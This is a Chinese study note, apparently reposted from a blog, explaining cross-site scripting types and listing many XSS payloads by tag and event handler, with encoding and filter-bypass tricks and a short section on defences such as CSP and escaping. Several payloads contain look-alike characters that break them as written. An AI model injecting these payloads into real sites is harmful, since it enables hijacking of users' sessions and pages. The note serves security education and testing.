本文介绍: 跨站脚本攻击 反射型 通过输入将脚本嵌入到页面中造成弹窗;一次性的 存储型 原理同反射型;但是输入的内容会保存到数据库中;每次访问都会加载;持续性的 DOM型(DOM是一种html文本存储结构,方便对html节点进行处理,前端) 组成 元素节点:标签 文本节点:标签输出的内容 属性节点:标签样式设置 前端存储的js脚本利用DOM结构来管理页面元素、内容和属性(本地处理) 页面展示无
-
跨站脚本攻击
-
反射型
- 通过输入将脚本嵌入到页面中造成弹窗;一次性的
-
存储型
- 原理同反射型;但是输入的内容会保存到数据库中;每次访问都会加载;持续性的
-
DOM型(DOM是一种html文本存储结构,方便对html节点进行处理,前端)
-
组成
- 元素节点:标签
- 文本节点:标签输出的内容
- 属性节点:标签样式设置
-
前端存储的js脚本利用DOM结构来管理页面元素、内容和属性(本地处理)
-
页面展示无需后端数据
-
DOM中可能存在xss的属性(从url中获取信息导致)
- document.referer属性
- location属性
- innerHTML属性
- document.write属性
-
-
-
弹窗方式
- alert(I);
- 警告框;阻塞函数;只有一个确认按钮;
- confirm()
- 指定消息内容的弹窗;有确认和取消按钮;可以接收返回值
- prompt()
- 带有提示内容和输入框的弹窗;含有确认和取消按钮
- 确认时返回用户输入的内容;取消时返回null
- alert(I);
-
编码方式
- url编码:
- html实体编码
- js编码(unicode编码)
-
xss注入方法(重点掌握其中的方法和书写格式)
-
图片
-
onerror (图片加载错误时触发)
- <img src=”x” οnerrοr=alert(1)>
- <img src=’1′ οnerrοr=eval(“alert(‘xss’)”)>
-
字符拼接(利用eval)
- <img src=”x” οnerrοr=”a=aler;b=t;c='(xss);’;eval(a+b+c)”>
-
字符拼接(利用top)
- <script>top[“al”+”ert”](“xss“);</script>(只有两个“这里是为了凸显出有`符号)
-
编码绕过(了解方法和书写格式)
-
编码unicode绕过
- <img src=”x” οnerrοr=”alert(“xss”);”>
- <img src=”x” οnerrοr=”eval(‘u0061u006cu0065u0072u0074u0028u0022u0078u0073u0073u0022u0029u003b’)”>
-
url编码绕过
- <img src=”x” οnerrοr=”eval(unescape(‘%61%6c%65%72%74%28%22%78%73%73%22%29%3b’))”>
- <img src=”x” οnerrοr=document.location=“http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/“>
-
ascii编码
- <img src=”x” οnerrοr=”eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))”>
-
hex编码
- <img src=x οnerrοr=eval(‘x61x6cx65x72x74x28x27x78x73x73x27x29’)>
-
八进制编码
- <img src=x οnerrοr=alert(‘170163163’)>
-
base64编码
- <img src=”x” οnerrοr=”eval(atob(‘ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw==’))”>
-
-
-
事件触发函数(input标签常用)
- onmouseover
- 鼠标移过到元素时触发
- onmouseout
- 鼠标移出元素时触发
- onclick
- 单击触发
- onmousedown
- 元素上鼠标按下时触发
- onmouseup
- 鼠标抬起时触发
- oncontextmenu
- 在元素上按下鼠标右键时触发
- onfocus
- 获取焦点时触发(选中触发)
- <input οnfοcus=”alert(‘xss’);”>
- 自动将焦点锁定到元素身上 autofocus
- <input οnfοcus=”alert(‘xss’);” autofocus>
- onblur
- 失去焦点时触发
- <input οnblur=”alert(‘xss’);”>
- 竞争焦点,从而触发
- <input οnblur=alert(“xss”) autofocus><input autofocus>
- onfocusin
- 即将获取焦点时触发
- <input οnfοcusin=”alert(‘xss’);”>
- onfocusout
- 即将失去焦点时触发
- <input οnfοcusοut=”alert(‘xss’);”>
- onkeydown
- 键盘按下按键时触发
- <input type=”text” οnkeydοwn=”alert(1)”>
- onkeypress
- 键盘按下时触发
- onkeyup
- 键盘按键抬起时触发
- onload
- 页面加载时触发;用在某些引入外部资源的标签中
- onmouseover
-
a标签
- <a href=”跳转目的地的链接”>内容</a>
- <a href=javascript:alert(‘xss’)>test</a>
- <a href=”javascript:a” οnmοuseοver=”alert(/xss/)”>aa</a>
- <a href=”” οnclick=alert(‘xss’)>a</a>
- <a href=”” οnclick=eval(alert(‘xss’))>aa</a>
- <a href=”” οnfοcus=alert(‘xss’)>a</a>
- <a href=kycg.asp?ttt=1000 οnmοuseοver=prompt(‘xss’) y=2016>aa</a>
-
from标签
- 创建一个表单
- <form action=javascript:alert(‘xss’) method=”get”>
- <form action=javascript:alert(‘xss’)>
- <form method=post action=aa.asp? οnmοuseοver=prompt(‘xss’)>
- <form method=post action=aa.asp? οnmοuseοver=alert(‘xss’)>
- <form action=1 οnmοuseοver=alert(‘xss)>
- <form method=post action=”data:text/html;base64,<script>alert(‘xss’)</script>”>
- <form method=post action=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
-
<iframe>标签
- 创建一个内联框架显示引入的外部网站的信息;引入网站内容会嵌入当前页面
- <iframe οnlοad=alert(“xss”);></iframe>
- <iframe src=javascript:alert(‘xss’)></iframe>
- <iframe src=”data:text/html,<script>alert(‘xss’)</script>”></iframe>
- <iframe src=”data:text/html;base64,<script>alert(‘xss’)</script>”>
- <iframe src=”data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”>
- <iframe src=”aaa” οnmοuseοver=alert(‘xss’) /><iframe>
- <iframe src=”javascript:prompt(“xss“)”></iframe>(““只有两个“)
-
svg标签
- 矢量图形标签
- <svg οnlοad=alert(1)>
- 括号被过滤时可用throw
- <svg/οnlοad=”window.οnerrοr=eval;throw’=alertx281x29′;”>
-
body
- 主标签;
- <body οnlοad=”alert(1)”>
- 利用换行符以及autofocus,自动去触发onscroll事件,无需用户去触发
- <body οnscrοll=alert(“xss”);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
-
button
- <button οnclick=”alert(1)”>text</button>
-
p标签
- <p οnmοusedοwn=”alert(1)”>text</p>
- <p οnmοuseup=”alert(1)”>text</p>
-
details标签
- 规定一些用户需求的细节;open属性规定是否可见
- ontoggle:details标签打开或关闭时触发
- <details οntοggle=”alert(‘xss’);”>
- 使用open属性触发,不需手动
- <details open οntοggle=”alert(‘xss’);”>
-
select
- 创建下拉列表选项
- <select οnfοcus=alert(1)></select>
- <select οnfοcus=alert(1) autofocus>
- <option>属于该标签的下属;设置具体选项内容;可以用</select>进行闭合
-
video
- 创建一个视频框用于播放视频;视频文件需引入
- <video><source οnerrοr=”alert(1)”>
- <video src οnerrοr=”javascript:window.οnerrοr=alert;throw 1″>
-
audio
- 音频标签
- <audio src=x οnerrοr=alert(“xss”);>
-
textarea
- 区域文本标签;如评论区
- <textarea οnfοcus=alert(“xss”); autofocus>
-
keygen
- 表单的密钥对生成器标签;html5新加
- <keygen autofocus οnfοcus=alert(1)> //仅限火狐
-
marquee
- 已废弃;插入文本的容器;
- <marquee onstart=alert(“xss”)></marquee> //Chrome不行,火狐和IE都可以
-
isindex
- 已废弃;
- <isindex type=image src=1 οnerrοr=alert(“xss”)>//仅限于IE
-
利用link远程包含js文件(在无CSP的情况下才可用)
- <link rel=import href=”http://127.0.0.1/1.js“>
-
expression属性
- <img style=”xss:expression(alert(‘xss”))”> // IE7以下
- <div style=”color:rgb(”�x:expression(alert(1))”></div> //IE7以下
- <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
-
background属性
- <table background=javascript:alert(1)></table> //在Opera 10.5和IE6上有效
-
-
a标签(用处很大,所有使用方法如下)
- 访问网站(链接网站)
- <a href=”https://www.w3school.com.cn“>访问 w3school.com.cn!</a>
- 访问图像(链接图片)
- <a href=”https://www.w3school.com.cn“><img border=”0″ alt=”W3School” src=”w3logo.png” width=”400″ height=”225″></a>
- 在浏览器新窗口打开链接
- <a href=”https://www.w3school.com.cn” target=”_blank”>访问 w3school.com.cn!</a>
- 链接到电子邮件
- <a href=”mailto:someone@example.com”>发送电子邮件</a>
- 链接到电话号码
- <a href=”tel:+8613888888888″>+86 138 8888 8888</a>
- 链接到同一页的另一个部分
- <a href=”#section2″>转到第二章</a>
- 链接到JS代码(重点)
- <a href=”javascript:alert(‘Hello World!’);”>执行 JavaScript</a>
- 访问网站(链接网站)
-
防御技巧
-
CSP内容安全策略
- 将合法的域名和资源放到白名单下;禁止非白名单的url跳转和资源加载
- 禁止加载外域代码,防止复杂的攻击逻辑。
- 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
- 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
- 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
-
前端和后端对输入信息进行严格过滤
- 输入验证+输出编码(代码)
- waf+数据库安全(硬件)
-
利用函数对输入信息进行转义(PHP)
- 如利用htmlspecialchars();escape();等函数对输入信息进行转义;
- 利用substr_replace()函数对敏感字符/字符串进行替换
-
原文地址:https://blog.csdn.net/I_WORM/article/details/135952832
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.7code.cn/show_64283.html
如若内容造成侵权/违法违规/事实不符,请联系代码007邮箱:suwngjj01@126.com进行投诉反馈,一经查实,立即删除!
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。